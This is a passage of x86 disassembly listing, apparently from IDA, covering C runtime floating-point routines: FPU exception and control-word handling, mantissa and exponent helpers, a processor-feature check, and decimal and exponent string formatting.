shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_419989
dec ecx
jz short loc_419980
dec ecx
jnz short loc_419992
and [esi], edx
jmp short loc_419992
; ---------------------------------------------------------------------------
loc_419980: ; CODE XREF: sub_4196E9+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_419990
; ---------------------------------------------------------------------------
loc_419989: ; CODE XREF: sub_4196E9+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_419990: ; CODE XREF: sub_4196E9+29Ej
mov [esi], ecx
loc_419992: ; CODE XREF: sub_4196E9+291j
; sub_4196E9+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4196E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41999C proc near ; CODE XREF: sub_419651+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_4199C7
test byte ptr [ebp+arg_8], bl
jz short loc_4199C7
push ebx
call sub_419E49
pop ecx
and edi, 0FFFFFFF7h
jmp loc_419B91
; ---------------------------------------------------------------------------
loc_4199C7: ; CODE XREF: sub_41999C+15j
; sub_41999C+1Aj
test al, 4
jz short loc_4199E1
test byte ptr [ebp+arg_8], 4
jz short loc_4199E1
push 4
call sub_419E49
pop ecx
and edi, 0FFFFFFFBh
jmp loc_419B91
; ---------------------------------------------------------------------------
loc_4199E1: ; CODE XREF: sub_41999C+2Dj
; sub_41999C+33j
test al, bl
jz loc_419ABB
test byte ptr [ebp+arg_8], 8
jz loc_419ABB
push 8
call sub_419E49
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_419A93
cmp ecx, 400h
jz short loc_419A6B
cmp ecx, 800h
jz short loc_419A43
cmp ecx, eax
jnz loc_419AB3
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217B0
fld dbl_438078
fnstsw ax
sahf
ja short loc_419A3B
fchs
loc_419A3B: ; CODE XREF: sub_41999C+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_419AB1
; ---------------------------------------------------------------------------
loc_419A43: ; CODE XREF: sub_41999C+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217B0
fnstsw ax
sahf
jbe short loc_419A5B
fld dbl_438068
jmp short loc_419A63
; ---------------------------------------------------------------------------
loc_419A5B: ; CODE XREF: sub_41999C+B5j
fld dbl_438078
fchs
loc_419A63: ; CODE XREF: sub_41999C+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_419AB1
; ---------------------------------------------------------------------------
loc_419A6B: ; CODE XREF: sub_41999C+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217B0
fnstsw ax
sahf
jbe short loc_419A83
fld dbl_438078
jmp short loc_419A8B
; ---------------------------------------------------------------------------
loc_419A83: ; CODE XREF: sub_41999C+DDj
fld dbl_438068
fchs
loc_419A8B: ; CODE XREF: sub_41999C+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_419AB1
; ---------------------------------------------------------------------------
loc_419A93: ; CODE XREF: sub_41999C+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217B0
fld dbl_438068
fnstsw ax
sahf
ja short loc_419AAB
fchs
loc_419AAB: ; CODE XREF: sub_41999C+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_419AB1: ; CODE XREF: sub_41999C+A5j
; sub_41999C+CDj ...
fstp qword ptr [ecx]
loc_419AB3: ; CODE XREF: sub_41999C+81j
and edi, 0FFFFFFFEh
jmp loc_419B91
; ---------------------------------------------------------------------------
loc_419ABB: ; CODE XREF: sub_41999C+47j
; sub_41999C+51j
test al, 2
jz loc_419B91
test byte ptr [ebp+arg_8], 10h
jz loc_419B91
push esi
xor esi, esi
test al, 10h
jz short loc_419AD6
mov esi, ebx
loc_419AD6: ; CODE XREF: sub_41999C+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_4217B0
fnstsw ax
sahf
jz loc_419B7F
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_419D48
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_419B21
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_419B75
; ---------------------------------------------------------------------------
loc_419B21: ; CODE XREF: sub_41999C+17Aj
fld [ebp+var_C]
fcomp dbl_4217B0
fnstsw ax
sahf
jnb short loc_419B33
mov edx, ebx
jmp short loc_419B35
; ---------------------------------------------------------------------------
loc_419B33: ; CODE XREF: sub_41999C+191j
xor edx, edx
loc_419B35: ; CODE XREF: sub_41999C+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_419B69
sub eax, ecx
loc_419B4C: ; CODE XREF: sub_41999C+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_419B57
test esi, esi
jnz short loc_419B57
mov esi, ebx
loc_419B57: ; CODE XREF: sub_41999C+1B3j
; sub_41999C+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_419B63
or byte ptr [ebp+var_C+3], 80h
loc_419B63: ; CODE XREF: sub_41999C+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_419B4C
loc_419B69: ; CODE XREF: sub_41999C+1ACj
test edx, edx
jz short loc_419B75
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_419B75: ; CODE XREF: sub_41999C+183j
; sub_41999C+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_419B81
; ---------------------------------------------------------------------------
loc_419B7F: ; CODE XREF: sub_41999C+14Ej
mov esi, ebx
loc_419B81: ; CODE XREF: sub_41999C+1E1j
test esi, esi
pop esi
jz short loc_419B8E
push 10h
call sub_419E49
pop ecx
loc_419B8E: ; CODE XREF: sub_41999C+1E8j
and edi, 0FFFFFFFDh
loc_419B91: ; CODE XREF: sub_41999C+26j
; sub_41999C+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_419BA8
test byte ptr [ebp+arg_8], 20h
jz short loc_419BA8
push 20h
call sub_419E49
pop ecx
and edi, 0FFFFFFEFh
loc_419BA8: ; CODE XREF: sub_41999C+1F9j
; sub_41999C+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_41999C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419BB3(int,int,int,int,int,int,double,int)
sub_419BB3 proc near ; CODE XREF: sub_4195FE+2Bp
; sub_419651+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_419C61
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_419C1E
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_419E26
lea eax, [ebp+var_20]
push eax
call sub_41D813
add esp, 0Ch
test eax, eax
jnz short loc_419C18
push esi
call sub_419C3B
pop ecx
loc_419C18: ; CODE XREF: sub_419BB3+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_419C1E: ; CODE XREF: sub_419BB3+14j
push 0FFFFh
push [ebp+arg_20]
call sub_419E26
push [ebp+arg_0]
call sub_419C3B
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_419BB3 endp
; =============== S U B R O U T I N E =======================================
sub_419C3B proc near ; CODE XREF: sub_419651+7Dp
; sub_419BB3+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_419C56
jle short locret_419C60
cmp eax, 3
jg short locret_419C60
mov dword_469494, 22h
retn
; ---------------------------------------------------------------------------
loc_419C56: ; CODE XREF: sub_419C3B+7j
mov dword_469494, 21h
locret_419C60: ; CODE XREF: sub_419C3B+9j
; sub_419C3B+Ej
retn
sub_419C3B endp
; =============== S U B R O U T I N E =======================================
sub_419C61 proc near ; CODE XREF: sub_419BB3+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_437F90
loc_419C68: ; CODE XREF: sub_419C61+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_419C7E
add eax, 8
inc ecx
cmp eax, offset dbl_438068
jl short loc_419C68
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_419C7E: ; CODE XREF: sub_419C61+Dj
mov eax, off_437F94[ecx*8]
retn
sub_419C61 endp
; =============== S U B R O U T I N E =======================================
sub_419C86 proc near ; CODE XREF: sub_419651+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_419C92
push 5
jmp short loc_419CA8
; ---------------------------------------------------------------------------
loc_419C92: ; CODE XREF: sub_419C86+6j
test al, 8
jz short loc_419C9A
push 1
jmp short loc_419CA8
; ---------------------------------------------------------------------------
loc_419C9A: ; CODE XREF: sub_419C86+Ej
test al, 4
jz short loc_419CA2
push 2
jmp short loc_419CA8
; ---------------------------------------------------------------------------
loc_419CA2: ; CODE XREF: sub_419C86+16j
test al, 1
jz short loc_419CAA
push 3
loc_419CA8: ; CODE XREF: sub_419C86+Aj
; sub_419C86+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_419CAA: ; CODE XREF: sub_419C86+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_419C86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419CB3(double)
sub_419CB3 proc near ; CODE XREF: sub_415E6C:loc_415EF2p
; sub_415FB3:loc_416039p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_419CB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419CC5(double,int)
sub_419CC5 proc near ; CODE XREF: sub_419D48+82p
; sub_419D48+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_419CC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419CEE proc near ; CODE XREF: sub_415E6C+31p
; sub_415FB3+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_419D05
cmp [ebp+arg_0], edx
jnz short loc_419D17
push 1
jmp short loc_419D41
; ---------------------------------------------------------------------------
loc_419D05: ; CODE XREF: sub_419CEE+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_419D17
cmp [ebp+arg_0], edx
jnz short loc_419D17
push 2
jmp short loc_419D41
; ---------------------------------------------------------------------------
loc_419D17: ; CODE XREF: sub_419CEE+11j
; sub_419CEE+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_419D2A
push 3
jmp short loc_419D41
; ---------------------------------------------------------------------------
loc_419D2A: ; CODE XREF: sub_419CEE+36j
cmp cx, 7FF0h
jnz short loc_419D44
test [ebp+arg_4], 7FFFFh
jnz short loc_419D3F
cmp [ebp+arg_0], edx
jz short loc_419D44
loc_419D3F: ; CODE XREF: sub_419CEE+4Aj
push 4
loc_419D41: ; CODE XREF: sub_419CEE+15j
; sub_419CEE+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419D44: ; CODE XREF: sub_419CEE+41j
; sub_419CEE+4Fj
xor eax, eax
pop ebp
retn
sub_419CEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419D48(double,int)
sub_419D48 proc near ; CODE XREF: sub_41999C+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_4217B0
push esi
fnstsw ax
sahf
jnz short loc_419D68
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_419DFE
; ---------------------------------------------------------------------------
loc_419D68: ; CODE XREF: sub_419D48+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_419DD7
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_419D80
cmp dword ptr [ebp+arg_0], ecx
jz short loc_419DD7
loc_419D80: ; CODE XREF: sub_419D48+31j
fld [ebp+arg_0]
fcomp dbl_4217B0
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_419D98
push 1
pop eax
jmp short loc_419D9A
; ---------------------------------------------------------------------------
loc_419D98: ; CODE XREF: sub_419D48+49j
xor eax, eax
loc_419D9A: ; CODE XREF: sub_419D48+4Ej
; sub_419D48+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_419DB3
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_419DAD
or dword ptr [ebp+arg_0+4], 1
loc_419DAD: ; CODE XREF: sub_419D48+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_419D9A
; ---------------------------------------------------------------------------
loc_419DB3: ; CODE XREF: sub_419D48+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_419DC1
or byte ptr [ebp+arg_0+7], 80h
loc_419DC1: ; CODE XREF: sub_419D48+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_419CC5
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_419DFE
; ---------------------------------------------------------------------------
loc_419DD7: ; CODE XREF: sub_419D48+28j
; sub_419D48+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_419CC5
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_419DFE: ; CODE XREF: sub_419D48+1Bj
; sub_419D48+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_419D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E09 proc near ; CODE XREF: sub_4196E9+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_419E09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E17 proc near ; CODE XREF: sub_4196E9+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_419E17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E26 proc near ; CODE XREF: sub_415E6C+13p
; sub_415E6C+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_419E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E49 proc near ; CODE XREF: sub_41999C+1Dp
; sub_41999C+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_419E60
fld tbyte_438090
fistp [ebp+arg_0]
wait
loc_419E60: ; CODE XREF: sub_419E49+Bj
test cl, 8
jz short loc_419E75
fstsw ax
fld tbyte_438090
fstp [ebp+var_8]
wait
fstsw ax
loc_419E75: ; CODE XREF: sub_419E49+1Aj
test cl, 10h
jz short loc_419E84
fld tbyte_43809C
fstp [ebp+var_8]
wait
loc_419E84: ; CODE XREF: sub_419E49+2Fj
test cl, 4
jz short loc_419E92
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_419E92: ; CODE XREF: sub_419E49+3Ej
test cl, 20h
jz short locret_419E9D
fldpi
fstp [ebp+var_8]
wait
locret_419E9D: ; CODE XREF: sub_419E49+4Cj
leave
retn
sub_419E49 endp
; =============== S U B R O U T I N E =======================================
sub_419E9F proc near ; CODE XREF: sub_415F3B+Fp
push 30000h
push 10000h
call sub_41D84B
pop ecx
pop ecx
retn
sub_419E9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419EB1 proc near ; CODE XREF: sub_419EEF:loc_419F13j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_4217C0
fstp [ebp+var_8]
fld dbl_4217B8
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_421670
fnstsw ax
sahf
jbe short loc_419EEB
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_419EEB: ; CODE XREF: sub_419EB1+33j
xor eax, eax
leave
retn
sub_419EB1 endp
; =============== S U B R O U T I N E =======================================
sub_419EEF proc near ; CODE XREF: sub_415F3B+5p
push offset aKernel32 ; "KERNEL32"
call dword_4210C8 ; GetModuleHandleA
test eax, eax
jz short loc_419F13
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4210C4 ; GetProcAddress
test eax, eax
jz short loc_419F13
push 0
call eax ; sub_415F3B
retn
; ---------------------------------------------------------------------------
loc_419F13: ; CODE XREF: sub_419EEF+Dj
; sub_419EEF+1Dj
jmp sub_419EB1
sub_419EEF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F18 proc near ; CODE XREF: sub_417D4C+3CBp
; DATA XREF: sub_415F53+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_417193
cmp eax, 65h
pop ecx
jz short loc_419F58
loc_419F2C: ; CODE XREF: sub_419F18+3Ej
inc esi
cmp dword_437F7C, 1
jle short loc_419F45
movsx eax, byte ptr [esi]
push 4
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_419F54
; ---------------------------------------------------------------------------
loc_419F45: ; CODE XREF: sub_419F18+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_437D70
mov al, [ecx+eax*2]
and eax, 4
loc_419F54: ; CODE XREF: sub_419F18+2Bj
test eax, eax
jnz short loc_419F2C
loc_419F58: ; CODE XREF: sub_419F18+12j
mov cl, byte_437F80
mov al, [esi]
mov [esi], cl
inc esi
loc_419F63: ; CODE XREF: sub_419F18+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_419F63
pop esi
retn
sub_419F18 endp
; =============== S U B R O U T I N E =======================================
sub_419F72 proc near ; CODE XREF: sub_417D4C+3E2p
; DATA XREF: sub_415F53+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_437F80
mov cl, [eax]
test cl, cl
jz short loc_419F8E
loc_419F82: ; CODE XREF: sub_419F72+1Aj
cmp cl, dl
jz short loc_419F8E
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_419F82
loc_419F8E: ; CODE XREF: sub_419F72+Ej
; sub_419F72+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_419FBF
loc_419F95: ; CODE XREF: sub_419F72+34j
mov cl, [eax]
test cl, cl
jz short loc_419FA8
cmp cl, 65h
jz short loc_419FA8
cmp cl, 45h
jz short loc_419FA8
inc eax
jmp short loc_419F95
; ---------------------------------------------------------------------------
loc_419FA8: ; CODE XREF: sub_419F72+27j
; sub_419F72+2Cj ...
mov ecx, eax
loc_419FAA: ; CODE XREF: sub_419F72+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_419FAA
cmp [eax], dl
jnz short loc_419FB5
dec eax
loc_419FB5: ; CODE XREF: sub_419F72+40j
; sub_419F72+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_419FB5
locret_419FBF: ; CODE XREF: sub_419F72+21j
retn
sub_419F72 endp
; =============== S U B R O U T I N E =======================================
sub_419FC0 proc near ; DATA XREF: sub_415F53+28o
; .nsp0:off_4380B8o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_4217B0
fnstsw ax
sahf
jb short loc_419FD5
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_419FD5: ; CODE XREF: sub_419FC0+Fj
xor eax, eax
retn
sub_419FC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FD8 proc near ; CODE XREF: sub_41AD3D+430p
; DATA XREF: sub_415F53+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_41A001
lea eax, [ebp+var_8]
push eax
call sub_41DD0E
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_41A001: ; CODE XREF: sub_419FD8+Cj
lea eax, [ebp+arg_8]
push eax
call sub_41DD3B
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_419FD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A016 proc near ; CODE XREF: sub_41A293+17p
; sub_41A2DD+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_469500, 0
push ebx
push esi
jz short loc_41A04B
mov ebx, [ebp+arg_8]
mov eax, dword_4694FC
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_41A32E
pop ecx
pop ecx
jmp short loc_41A083
; ---------------------------------------------------------------------------
loc_41A04B: ; CODE XREF: sub_41A016+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_41DDDF
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_41DD68
add esp, 14h
loc_41A083: ; CODE XREF: sub_41A016+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41A08F
mov byte ptr [eax], 2Dh
inc eax
loc_41A08F: ; CODE XREF: sub_41A016+73j
test ebx, ebx
jle short loc_41A0A7
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_437F80
mov eax, edi
pop edi
mov [eax], cl
loc_41A0A7: ; CODE XREF: sub_41A016+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_469500, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_415C00
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41A0CE
mov byte ptr [ecx], 45h
loc_41A0CE: ; CODE XREF: sub_41A016+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_41A113
mov ebx, [esi+4]
dec ebx
jns short loc_41A0E2
neg ebx
mov byte ptr [ecx], 2Dh
loc_41A0E2: ; CODE XREF: sub_41A016+C5j
inc ecx
cmp ebx, 64h
jl short loc_41A0F9
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A0F9: ; CODE XREF: sub_41A016+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_41A110
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A110: ; CODE XREF: sub_41A016+E7j
add [ecx+1], bl
loc_41A113: ; CODE XREF: sub_41A016+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_41A016 endp
; =============== S U B R O U T I N E =======================================
sub_41A11A proc near ; CODE XREF: sub_41A2BA+13p
; sub_41A2DD+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_469500, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41A155
mov eax, dword_469504
mov ebx, [esp+10h+arg_8]
mov esi, dword_4694FC
cmp eax, ebx
jnz short loc_41A185
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41A185
; ---------------------------------------------------------------------------
loc_41A155: ; CODE XREF: sub_41A11A+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_41DDDF
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_41DD68
add esp, 14h
loc_41A185: ; CODE XREF: sub_41A11A+22j
; sub_41A11A+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_41A193
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_41A193: ; CODE XREF: sub_41A11A+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41A1AA
push 1
push edi
call sub_41A32E
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41A1AC
; ---------------------------------------------------------------------------
loc_41A1AA: ; CODE XREF: sub_41A11A+7Ej
add edi, eax
loc_41A1AC: ; CODE XREF: sub_41A11A+8Ej
test ebx, ebx
jle short loc_41A1F1
push 1
push edi
call sub_41A32E
mov al, byte_437F80
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_41A1F1
cmp byte_469500, 0
jz short loc_41A1D6
neg esi
jmp short loc_41A1DC
; ---------------------------------------------------------------------------
loc_41A1D6: ; CODE XREF: sub_41A11A+B6j
neg esi
cmp ebx, esi
jl short loc_41A1DE
loc_41A1DC: ; CODE XREF: sub_41A11A+BAj
mov ebx, esi
loc_41A1DE: ; CODE XREF: sub_41A11A+C0j
push ebx
push edi
call sub_41A32E
push ebx
push 30h
push edi
call sub_415570
add esp, 14h
loc_41A1F1: ; CODE XREF: sub_41A11A+94j
; sub_41A11A+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_41A11A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1F8 proc near ; CODE XREF: sub_41A2DD+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_41DDDF
mov dword_4694FC, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_469504, ecx
xor ecx, ecx
